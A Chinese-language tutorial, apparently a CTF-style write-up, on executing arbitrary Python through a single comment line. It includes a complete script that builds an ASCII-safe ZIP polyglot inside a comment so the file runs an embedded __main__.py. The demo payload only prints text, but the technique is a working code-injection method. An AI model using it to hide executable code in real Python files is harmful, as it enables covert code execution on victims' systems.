通过注释执行任意Python代码

问题描述

Q: 只能控制一行的.py代码中注释的内容(\n\r均会被替换为空字符), 如何执行任意代码?
A: 在注释#中, 构造一个.zip 文件, python 会将该内容当成一个zip包执行, 触发任意代码执行

解决方案

Python 源码中的任何行, 只要以 # 开头, 解释器都会忽略后面内容, 因此可以:

难点

ZIP 文件头包含二进制字段,比如

解决方法: 暴力穷举合法组合

想办法 调整偏移值和结构位置,使得最终写出来的 ZIP 文件

下面是generate_polygloy_zip.py代码, 会生成一个符合要求的polygloy.py代码, 最后运行该代码, 可以执行Body里面的内容BODY = b"print('FROM MAIN.py FILE!!!')#"

PYTHON3
# struct: 按字节结构打包数据,方便构造 ZIP 文件二进制头
# itertools: 用来暴力枚举 CRC 校验和后缀(确保安全ASCII)
# zlib: 计算 CRC32 校验和
import struct, itertools, zlib

# 文件开头代码
# encode(): Unicode 字符串 -> bytes 字节串
JUNK_HEAD = """print("Hello World!")
# This is a comment. Here's another:
# """.encode()

# 文件结尾代码
JUNK_TAIL = """
print("Thanks for playing!")"""


# zip 文件核心代码
# b: 字节串
FILENAME = b"__main__.py"
BODY = b"print('FROM MAIN.py FILE!!!')#"


# 校验 CRC 是否为 ASCII-safe
def ascii_safe(x: int) -> bool:
    return all(((x >> (8*i)) & 0x80) == 0 for i in range(4))


# 检查 32 位整数的四个字节,每个字节最高位(0x80)是否为 0,即是否为 ASCII 范围内的字节
def find_suffix(core: bytes, length: int = 4) -> tuple[bytes, int]:
    """
    - ZIP 文件 CRC32 计算结果必须 ASCII-safe(低于 0x80)
    - 这里用暴力方法,给 payload 后面加4字节后缀,找到合适的后缀让 CRC32 满足 ASCII-safe 条件
    """
    printable = range(0x20, 0x7f)
    for tail in itertools.product(printable, repeat=length):
        payload = core + bytes(tail)
        crc = zlib.crc32(payload) & 0xFFFFFFFF
        if ascii_safe(crc):
            return bytes(tail), crc

    raise RuntimeError("No ASCII-safe CRC found.")

# 计算最终 payload
SUFFIX, CRC = find_suffix(BODY)
PAYLOAD = BODY + SUFFIX
SIZE = len(PAYLOAD)

def le32(x): return struct.pack("<I", x) # 4字节小端无符号整数
def le16(x): return struct.pack("<H", x) # 2字节小端无符号整数

# ZIP 结构中各签名常量
SIG_LFH  = 0x04034B50 # 本地文件头 Local File Header
SIG_CDH  = 0x02014B50 # 中央目录头 Central Directory Header
SIG_EOCD = 0x06054B50 # 结束目录头 End of Central Directory

# zip 文件偏移量设置
delta = len(JUNK_HEAD)

# 构建 Local File Header
"""
Local File Header 是 ZIP 格式中的一部分,告诉解压程序该文件的元信息
- version needed to extract,flags,compression method 等字段置 0 表示无压缩,简单存储
- CRC32、压缩大小、解压大小都是我们计算的
- 文件名长度和文件名
"""
lfh = (
    le32(SIG_LFH) +
    le16(0) + le16(0) + le16(0) + le16(0) + le16(0) +
    le32(CRC) + le32(SIZE) + le32(SIZE) +
    le16(len(FILENAME)) + le16(0) +
    FILENAME
)

# 构建 Central Directory Header
"""
- Central Directory 是 ZIP 文件目录结构,记录每个文件信息和偏移,
- 其中重要的是 relative offset of LFH,也就是 Local File Header 在整个 ZIP 文件里的偏移,必须加上 delta
"""
cdh = (
    le32(SIG_CDH) +
    le16(0) + le16(0) + le16(0) + le16(0) + le16(0) + le16(0) +
    le32(CRC) + le32(SIZE) + le32(SIZE) +
    le16(len(FILENAME)) + le16(0) + le16(0) +
    le16(0) + le16(0) + le32(0) + le32(delta) +
    FILENAME
)

# 确保偏移量 ASCII-safe
"""
- ZIP 目录偏移需要是 ASCII 字节,否则写入 .py 文件时会出错
- 这里通过填充若干 \x00 字节,保证偏移合法
"""
cd_offset = delta + len(lfh) + len(PAYLOAD)
pad = 0
while not ascii_safe(cd_offset + pad):
    pad += 1
padding = b'\x00' * pad
cd_offset += pad

# 构建 End of Central Directory Header
"""
EOCD 记录 ZIP 中央目录大小、偏移及注释长度等信息
"""
eocd = (
    le32(SIG_EOCD) +
    le16(0) + le16(0) +
    le16(1) + le16(1) +
    le32(len(cdh)) +
    le32(cd_offset) +
    le16(len(JUNK_TAIL))
)

# 拼接完整 ZIP 内容
zip_bytes = lfh + PAYLOAD + padding + cdh + eocd
zip_bytes = bytearray(zip_bytes)
assert all(b < 0x80 for b in zip_bytes), "非 ASCII 字节存在"

# 写入 polyglot.py 文件
with open("polyglot.py", "wb") as f:
    f.write(JUNK_HEAD + zip_bytes + JUNK_TAIL.encode())

# 运行提示
print("✅ polyglot.py 生成完毕。运行它即可执行嵌入的 __main__.py 内容:")
print("  $ python3 polyglot.py")
Click to expand and view more

Start searching

Enter keywords to search articles

↑↓
ESC
⌘K Shortcut